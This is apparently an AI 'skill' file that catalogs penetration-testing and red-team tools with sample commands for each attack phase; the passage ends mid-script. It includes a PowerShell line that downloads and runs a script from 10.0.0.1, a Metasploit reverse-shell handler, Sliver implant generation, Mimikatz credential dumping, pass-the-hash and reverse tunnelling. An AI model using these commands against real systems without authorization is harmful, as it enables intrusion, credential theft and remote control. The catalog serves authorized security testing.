awesome-pentest-tools-catalog

# Awesome Pentest Tools Catalog > Skill by [ara.so](https://ara.so) — Security Skills collection. This skill provides expert knowledge of the **Awesome Pentest Tools** catalog, a comprehensive collection of penetration testing and red team tools organized by the penetration testing lifecycle and MITRE ATT&CK framework. Use this to discover, recommend, and implement security testing tools across all phases of penetration testing. ## Overview The catalog organizes tools into these primary phases: 1. **Information Gathering** (信息收集) - Asset and target reconnaissance 2. **Vulnerability Analysis** (漏洞分析) - Host and web vulnerability scanning 3. **Exploitation** (漏洞利用) - Exploit frameworks and service-specific tools 4. **Privilege Escalation** (权限提升) - Linux, Windows, and container escape 5. **Persistence** (权限维持与后门) - C2 frameworks, webshells, and evasion 6. **Tunneling & Proxying** (隧道代理) - Network pivoting and protocol tunneling 7. **Post-Exploitation** (后渗透与域) - Credential theft and lateral movement 8. **Covering Tracks** (痕迹清理) - Log cleanup and anti-forensics ## Key Tool Categories ### Information Gathering #### Network & Port Scanning ```bash # Masscan - Fast internet-wide TCP scanner masscan -p1-65535 192.168.1.0/24 --rate=10000 -oL output.txt # RustScan - Modern port scanner rustscan -a 192.168.1.1 --ulimit 5000 -- -A -sC # Naabu - Fast port discovery naabu -host 192.168.1.1 -p - -rate 10000 # Nmap - Network mapper nmap -sV -sC -p- 192.168.1.1 -oA scan_results # Netspy - Internal network segment discovery netspy -t 192.168.1.1 ``` #### Fingerprinting & Technology Detection ```bash # WhatWeb - Next generation web scanner whatweb -v -a 3 https://target.com # Webanalyze - Batch Wappalyzer detection webanalyze -host https://target.com -apps apps.json # EHole - Red team system fingerprint detection ./EHole finger -l urls.txt -json result.json # TideFinger - Comprehensive fingerprint recognition ./TideFinger_Go -u https://target.com ``` #### Directory & Parameter Discovery ```bash # FFuF - Fast web fuzzer ffuf -w wordlist.txt -u https://target.com/FUZZ -mc 200,301,302 # Dirsearch - Web path scanner dirsearch -u https://target.com -e php,html,js -x 403,404 # Feroxbuster - Fast content discovery feroxbuster -u https://target.com -w wordlist.txt -x php,asp,aspx,jsp ``` ### Vulnerability Scanning #### Quick Network Scanning ```bash # Fscan - Comprehensive internal network scanner ./fscan -h 192.168.1.0/24 -np -no -nobr # Vscan - Vulnerability scanner with POC integration ./vscan -target 192.168.1.1 -all ``` #### Comprehensive Vulnerability Assessment ```bash # Nuclei - Fast template-based scanner nuclei -l targets.txt -t nuclei-templates/ -severity critical,high # Xray - Passive & active security scanner xray webscan --basic-crawler http://target.com --html-output report.html # OpenVAS - Full-featured vulnerability scanner # (GUI-based, typically accessed via web interface) ``` #### Code Auditing ```python # Semgrep - Static analysis for many languages # Install: pip install semgrep import subprocess def scan_code(path, rules="auto"): """Run semgrep security scan""" cmd = ["semgrep", "--config", rules, path, "--json"] result = subprocess.run(cmd, capture_output=True, text=True) return result.stdout # Usage scan_results = scan_code("./src", "p/security-audit") ``` ```bash # Fortify - Java code auditor java -jar fortify.jar -source ./src -output report.html # Seay - PHP code auditor (GUI-based) # Typically run through graphical interface ``` ### Exploitation #### Framework Tools ```python # SearchSploit - Exploit-DB search import subprocess def search_exploits(keyword): """Search for exploits using searchsploit""" result = subprocess.run( ["searchsploit", keyword, "-j"], capture_output=True, text=True ) return result.stdout # Usage exploits = search_exploits("apache 2.4") ``` ```bash # Metasploit Framework msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.0.0.1; set LPORT 4444; exploit" # Pocsuite3 - POC framework pocsuite -r poc_file.py -u http://target.com --verify ``` #### Service-Specific Tools ```bash # Hydra - Network login cracker hydra -L users.txt -P passwords.txt ssh://192.168.1.1 # SQLMap - SQL injection tool sqlmap -u "http://target.com/page?id=1" --dbs --batch # Redis exploitation redis-cli -h 192.168.1.1 -a $REDIS_PASSWORD ``` ### Privilege Escalation #### Linux Privilege Escalation ```bash # LinPEAS - Linux privilege escalation scanner ./linpeas.sh -a > linpeas_report.txt # Linux Exploit Suggester ./linux-exploit-suggester.sh --uname $(uname -r) # PEASS-ng (includes linpeas, winpeas) ./linpeas.sh -q -o linpeas_out.txt ``` #### Windows Privilege Escalation ```powershell # WinPEAS - Windows privilege escalation scanner .\winPEASx64.exe > winpeas_output.txt # Windows Exploit Suggester - NG python wes.py systeminfo.txt -i 'Elevation of Privilege' --hide 'Internet Explorer' # PowerUp - PowerShell privilege escalation powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/PowerUp.ps1'); Invoke-AllChecks" ``` ### Post-Exploitation & C2 #### Command & Control Frameworks ```python # Sliver - Modern C2 framework # Generate implant # sliver > generate --http 10.0.0.1 --save /tmp/payload.exe # Cobalt Strike (commercial) - Beacon configuration # Typically configured via GUI teamserver # Empire/Starkiller - PowerShell C2 # Configure via web interface or API import requests import os def empire_create_listener(api_url, token): """Create Empire HTTP listener""" headers = {"Authorization": f"Bearer {token}"} listener_config = { "name": "http_listener", "template": "http", "options": { "Host": "http://10.0.0.1:8080", "Port": "8080" } } response = requests.post( f"{api_url}/listeners", json=listener_config, headers=headers ) return response.json() # Usage with environment variable empire_url = os.getenv("EMPIRE_API_URL", "http://localhost:1337/api/v2") empire_token = os.getenv("EMPIRE_API_TOKEN") ``` #### WebShell Management ```php // Behinder (冰蝎) - Encrypted webshell // Client connects to server-side shell with password // Godzilla (哥斯拉) - Advanced webshell manager // Supports multiple payload types: JSP, PHP, ASP, ASPX // AntSword (蚁剑) - Cross-platform webshell manager // Configuration example (do not hardcode credentials) ``` ```python # Interactive shell upgrade """ Common pattern for upgrading to interactive TTY shell """ import subprocess upgrade_commands = """ python -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm # Press Ctrl+Z stty raw -echo; fg stty rows 38 columns 116 """ ``` ### Tunneling & Proxying #### Modern Tunneling Tools ```bash # Chisel - Fast TCP/UDP tunnel over HTTP # Server ./chisel server -p 8080 --reverse # Client ./chisel client http://10.0.0.1:8080 R:socks # NPS - Powerful penetration testing proxy # Server ./nps install ./nps start # Client ./npc -server=10.0.0.1:8024 -vkey=$NPS_VKEY -type=tcp ``` ```go // Frp - Fast reverse proxy configuration example // frps.ini (server) /* [common] bind_port = 7000 token = ${FRP_TOKEN} */ // frpc.ini (client) /* [common] server_addr = 10.0.0.1 server_port = 7000 token = ${FRP_TOKEN} [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000 */ ``` #### Protocol-Specific Tunnels ```bash # Regeorg - SOCKS over HTTP python reGeorgSocksProxy.py -p 1080 -u http://target.com/tunnel.jsp # Neo-reGeorg - Improved version python neoreg.py generate -k $TUNNEL_PASSWORD python neoreg.py -k $TUNNEL_PASSWORD -u http://target.com/tunnel.php # DNS Tunneling with dnscat2 # Server dnscat2-server tunnel.example.com # Client ./dnscat tunnel.example.com ``` ### Domain & Lateral Movement ```bash # BloodHound - Active Directory visualization # Start Neo4j database neo4j console # Collect data with SharpHound .\SharpHound.exe -c All --outputdirectory C:\Temp # Impacket - Python classes for network protocols # Pass-the-Hash with wmiexec impacket-wmiexec -hashes :$NTLM_HASH administrator@192.168.1.10 # Mimikatz - Credential extraction (Windows) privilege::debug sekurlsa::logonpasswords # LaZagne - Credential recovery tool laZagne.exe all -oN output.txt ``` ```python # CrackMapExec - Network authentication testing import subprocess import os def cme_smb_scan(target_range, username, password_file): """Execute CrackMapExec SMB scan""" cmd = [ "crackmapexec", "smb", target_range, "-u", username, "-p", password_file, "--shares" ] result = subprocess.run(cmd, capture_output=True, text=True) return result.stdout # Usage results = cme_smb_scan( "192.168.1.0/24", "administrator", os.getenv("PASSWORD_LIST", "passwords.txt") ) ``` ## Common Workflows ### External Pentest Workflow ```python """ Typical external penetration test workflow """ import subprocess import os class ExternalPentest: def __init__(self, target_domain): self.target = target_domain self.results_dir = f"results_{target_domain}" os.makedirs(self.results_dir, exist_ok=True) def asset_discovery(self): """Phase 1: Asset discovery""" # Subdomain enumeration subprocess.run([ "subfinder", "-d", self.target, "-o", f"{self.results_dir}/subdomains.txt" ]) # HTTP probing subprocess.run([ "httpx", "-l", f"{self.results_dir}/subdomains.txt", "-o", f"{self.results_dir}/live_hosts.txt" ]) def port_scanning(self): """Phase 2: Port scanning""" subprocess.run([ "naabu", "-l", f"{self.results_dir}/live_hosts.txt", "-p", "-", "-rate", "10000", "-o", f"{self.results_dir}/ports.txt" ]) def vulnerability_scan(self): """Phase 3: Vulnerability scanning""" subprocess.run([ "nuclei", "-l", f"{self.results_dir}/live_hosts.txt", "-t", "nuclei-templates/", "-severity", "critical,high", "-o", f"{self.results_dir}/vulnerabilities.txt" ]) def run_full_scan(self): """Execute complete external pentest""" self.asset_discovery() self.port_scanning() self.vulnerability_scan() return f"Results saved in {self.results_dir}/" # Usage pentest = ExternalPentest("target.com") pentest.run_full_scan() ``` ### Internal Network Pentest ```bash #!/bin/bash # Internal network penetration testing workflow TARGET_NETWORK="192.168.1.0/24" RESULTS_DIR="internal_pentest_$(date +%Y%m%d)" mkdir -p $RESULTS_DIR # Phase 1: Network discovery echo "[*] Phase 1: Network Discovery" nmap -sn $TARGET_NETWORK -oA $RESULTS_DIR/network_sweep # Phase 2: Port scanning echo "[*] Phase 2: Port Scanning" nmap -p- -T4 -iL $RESULTS_DIR/network_sweep.gnmap -oA $RESULTS_DIR/full_scan # Phase 3: Service detection